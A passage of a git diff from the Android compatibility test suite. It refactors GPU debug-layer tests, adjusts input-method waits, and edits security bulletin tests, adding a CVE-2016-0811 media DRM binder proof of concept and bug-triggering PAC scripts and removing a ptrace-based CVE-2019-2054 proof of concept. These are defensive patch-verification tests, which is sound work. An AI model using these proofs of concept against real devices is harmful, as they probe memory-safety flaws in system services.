+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -424,13 +419,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -454,13 +449,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure layerA is not loaded
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -474,19 +469,19 @@
     @Test
     public void testSystemPropertyEnableVulkan() throws Exception {
 
-        // Set up layerA to be loaded, but not layerB or layerC
+        // Don't enable any layers via settings
         applySetting("enable_gpu_debug_layers", "1");
         applySetting("gpu_debug_app", RELEASE_APP);
         deleteSetting("gpu_debug_layers");
 
         // Enable layerC (which is packaged with the RELEASE app) with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
-        // Check that both layers were loaded, in the correct order
+        // Check that only layerC was loaded
         String searchStringA = LAYER_A_NAME + "loaded";
         LogScanResult resultA = scanLog(TAG + "," + LAYER_A, searchStringA, appStartTime);
         Assert.assertFalse("LayerA was enumerated", resultA.found);
@@ -512,19 +507,19 @@
         setupLayer(LAYER_B_LIB, LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
         // Enable layerB with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure only layerA is loaded
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -552,7 +547,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -578,16 +573,16 @@
         setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -618,12 +613,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Attempt to copy them over to our RELEASE app (this should fail)
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
                                    "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -647,12 +642,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -676,12 +671,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -705,12 +700,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure layerA is not loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -730,11 +725,11 @@
         deleteSetting("gpu_debug_layers_gles");
 
         // Enable layerC (which is packaged with the RELEASE app) with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = GLES_LAYER_A + "loaded";
@@ -762,19 +757,19 @@
         setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
 
         // Enable layerB with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure only layerA is loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -802,7 +797,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -827,7 +822,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that external layers were loaded from both apps
         String vulkanString = "nullCreateInstance called in " + LAYER_C;
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index e69dc5f..d6bc90e 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -113,6 +113,6 @@
     private static final String NO_OP_TEST =
             "android.inputmethodservice.cts.devicetest.NoOpDeviceTest";
 
-    public static final TestInfo TEST_WAIT_3SEC =
-            new TestInfo(PACKAGE, NO_OP_TEST, "testWait3Sec");
+    public static final TestInfo TEST_WAIT_15SEC =
+            new TestInfo(PACKAGE, NO_OP_TEST, "testWait15Sec");
 }
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
index 34402ee..dcd79f5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
@@ -29,9 +29,9 @@
 @RunWith(AndroidJUnit4.class)
 public class NoOpDeviceTest {
 
-    /** Does nothing but just wait 3 seconds. */
+    /** Does nothing but just wait 15 seconds. */
     @Test
-    public void testWait3Sec() {
-        SystemClock.sleep(3000);
+    public void testWait15Sec() {
+        SystemClock.sleep(15000);
     }
 }
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index af7d944..f1e73a2 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -152,7 +152,7 @@
         final int secondaryUserId = getDevice().createUser(
                 "InputMethodMultiUserTest_secondaryUser" + System.currentTimeMillis());
 
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, secondaryUserId, instant);
@@ -212,7 +212,7 @@
         final int primaryUserId = getDevice().getPrimaryUserId();
         final int profileUserId = createProfile(primaryUserId);
 
-        getDevice().startUser(profileUserId);
+        getDevice().startUser(profileUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, profileUserId, instant);
@@ -351,13 +351,13 @@
             try {
                 // This test should never fail.  If this fails, it means that the system was not yet
                 // ready to run tests in this APK.
-                runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+                runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
                 return;
             } catch (AssertionError e) {
                 // Ignoring because it can be because of Bug 132082599.
             }
         }
-        runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+        runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
     }
 
 
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 442ee49..5fbfbd5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -43,6 +43,12 @@
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
 
+        <!--__________________-->
+        <!-- Bulletin 2016-02 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -189,11 +195,6 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
-        <!--__________________-->
-        <!-- Bulletin 2019-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2019-2054->/data/local/tmp/CVE-2019-2054" />
-
         <option name="append-bitness" value="true" />
     </target_preparer>
 
@@ -205,6 +206,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="OomCatcher.apk" />
+        <option name="test-file-name" value="MainlineModuleDetector.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
new file mode 100644
index 0000000..61a9ee2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -0,0 +1,6 @@
+function FindProxyForURL(url, host){
+    Object.defineProperty(Promise, Symbol.species, { value: 0 });
+    var p = new Promise(function() {});
+    p.then();
+    return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
new file mode 100644
index 0000000..3a1e34d
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -0,0 +1,4 @@
+function FindProxyForURL(url, host){
+    var x = new ArrayBuffer(1);
+    return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
similarity index 92%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
index 1cb925f..3da902d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -15,8 +15,8 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2019-2054
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
@@ -35,6 +35,5 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
+LOCAL_CFLAGS += -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..19cee94
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <mediadrm/ICrypto.h>
+#include <mediadrm/IDrm.h>
+#include <mediadrm/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+  Parcel data, reply;
+  data.writeInterfaceToken(sit->getInterfaceDescriptor());
+  data.writeInt32(0);
+  data.writeInt32(0);
+  static const uint8_t kDummy[16] = {0};
+  data.write(kDummy, 16);
+  data.write(kDummy, 16);
+  const int wsize = 16 * 1024;
+  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+  sp<IMemory> memory = dealer->allocate(wsize);
+  data.writeInt32(wsize);
+  data.writeStrongBinder(IInterface::asBinder(memory));
+  const int ss = 0x1;
+  data.writeInt32(0xffffff00);
+  data.writeInt32(ss);
+  CryptoPlugin::SubSample samples[ss];
+  for (int i = 0; i < ss; i++) {
+    samples[i].mNumBytesOfEncryptedData = 0;
+    samples[i].mNumBytesOfClearData = wsize;
+  }
+  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+  char out[wsize] = {0};
+  reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+                                          0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+  status_t st;
+  sp<ICrypto> crypto =
+      interface_cast<IMediaDrmService>(
+          defaultServiceManager()->getService(String16("media.drm")))
+          ->makeCrypto();
+
+  sp<IDrm> drm = interface_cast<IMediaDrmService>(
+                     defaultServiceManager()->getService(String16("media.drm")))
+                     ->makeDrm();
+
+  Vector<uint8_t> sess;
+  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+  mediaPoc(sit);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
index 58e3c84..48ece98 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -13,6 +13,11 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
 #include <cutils/ashmem.h>
 #include <dlfcn.h>
 #include <fcntl.h>
@@ -34,7 +39,7 @@
 
 #include "IPCThreadState.h"
 #include "binder/IServiceManager.h"
-#include "../includes/common.h"
+
 
 using namespace android;
 
@@ -169,3 +174,10 @@
   pthread_join(t3, NULL);
   return EXIT_SUCCESS;
 }
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
deleted file mode 100644
index 578c90a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
+++ /dev/null
@@ -1,135 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <err.h>
-#include <errno.h>
-#include <linux/elf.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ptrace.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include "../includes/common.h"
-
-time_t test_started;
-
-int main(void) {
-  pid_t my_pid = -1;
-
-  setbuf(stdout, NULL);
-
-  pid_t child = fork();
-
-  switch (child) {
-    case -1:
-      // child = -1 => the creation of a child process was unsuccessful.
-      err(1, "fork");
-      return EXIT_FAILURE;
-
-    case 0:
-      // child = 0 => Returned to the newly created child process
-      my_pid = getpid();
-      test_started = start_timer();
-
-      while (timer_active(test_started)) {
-        errno = 0;
-        int res = syscall(__NR_gettid, 0, 0);
-        if (res != my_pid) {
-          printf("%d (%s)\n", res, strerror(errno));
-          return EXIT_VULNERABLE;
-        }
-      }
-      return EXIT_SUCCESS;
-
-    default:
-      // child > 0 => Returned to parent process.
-      // The value contains process ID of its newly created child process.
-      sleep(1);
-
-      if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) {
-        err(1, "main() : ptrace attach");
-        return EXIT_FAILURE;
-      }
-
-      int status;
-      if (waitpid(child, &status, 0) != child) {
-        err(1, "main() : wait for child");
-        return EXIT_FAILURE;
-      }
-
-      if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) {
-        err(1, "main() : ptrace syscall entry");
-        return EXIT_FAILURE;
-      }
-
-      if (waitpid(child, &status, 0) != child) {
-        err(1, "main() : wait for child");
-        return EXIT_FAILURE;
-      }
-
-      int syscallno;
-      struct iovec iov = {.iov_base = &syscallno, .iov_len = sizeof(syscallno)};
-
-      if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
-        err(1, "main() : ptrace getregs");
-        return EXIT_FAILURE;
-      }
-
-      printf("main() : seeing syscall %d\n", syscallno);
-      if (syscallno != __NR_gettid) {
-        err(1, "main() : not gettid");
-        return EXIT_FAILURE;
-      }
-
-      syscallno = __NR_swapon;
-      if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
-        err(1, "main() : ptrace setregs");
-        return EXIT_FAILURE;
-      }
-
-      if (ptrace(PTRACE_DETACH, child, NULL, NULL)) {
-        err(1, "main() : ptrace syscall");
-        return EXIT_FAILURE;
-      }
-      // kill child proces
-      int killRet = kill(child, SIGCONT);
-      if (killRet == -1) {
-        printf(
-            "main() : killing child process(%d) with SIGCONT on error (%s)\n",
-            child, strerror(errno));
-      }
-
-      // wait for child process stop
-      int waitPid = waitpid(child, &status, 0);
-      if (waitPid == -1) {
-        perror("main() waitpid: waitpid = -1 and continue wait");
-        return EXIT_FAILURE;
-      }
-
-      if (WIFEXITED(status)) {
-        //  detected vulnarable exit status of child process
-        printf("main() : Exit Vulnerable: child = %d, status=%d\n", child, WEXITSTATUS(status));
-        return WEXITSTATUS(status);
-      }
-      break;
-  }
-
-  return EXIT_SUCCESS;
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6cd53a6..dd2a5e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,9 +16,11 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CrashUtils;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedOutputStream;
@@ -26,9 +28,16 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
